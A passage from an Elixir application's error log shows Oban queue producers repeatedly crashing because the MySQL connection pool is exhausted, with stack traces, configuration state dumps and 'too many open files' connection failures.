  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:38:06.241245Z], limit: 20, uuid: "63366a3e-33ac-4f2e-882b-201463955260", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.241252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.256448>, refresh_timer: #Reference<0.2525715032.1077411843.256418>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:38:06.242225Z], limit: 5, uuid: "22c948fd-8ed9-43a7-9cdf-b0538a78b1cc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.242230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127111>, refresh_timer: #Reference<0.2525715032.1121189889.127093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:38:06.241896Z], limit: 10, uuid: "dcb25c1f-4dae-4ea4-b713-c509a6f6dce5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.241904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.256449>, refresh_timer: #Reference<0.2525715032.1077411843.256436>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:38:06.241458Z], limit: 5, uuid: "924e7316-728c-4a41-a143-c384de795ca8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.241463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.21083>, refresh_timer: #Reference<0.2525715032.1068498948.21073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:19.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:20.365000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:20.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:23.000000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:23.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:38:18.240777Z], limit: 5, uuid: "5404ee9b-3f03-4cc6-bb48-7237fb88ac8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.240785Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127535>, refresh_timer: #Reference<0.2525715032.1121189889.127522>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:38:18.239677Z], limit: 3, uuid: "0bffaf72-8d28-4ef9-b010-3e6994813ea3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.239683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127537>, refresh_timer: #Reference<0.2525715032.1121189889.127500>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:38:18.239758Z], limit: 5, uuid: "81765176-0c46-4ce8-ad6d-5c888470dea4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.239763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127536>, refresh_timer: #Reference<0.2525715032.1121189889.127505>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:38:18.241249Z], limit: 10, uuid: "47287b84-d960-4dc5-ba14-8b8ebcb0cd2d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.241254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127534>, refresh_timer: #Reference<0.2525715032.1121189889.127526>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:38:18.239677Z], limit: 20, uuid: "d3d1ec08-abb0-4ce1-b0ab-09ff441a5024", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:18.239683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24532>, refresh_timer: #Reference<0.2525715032.1099431938.24525>, dispatch_cooldown: 5, running: %{}}
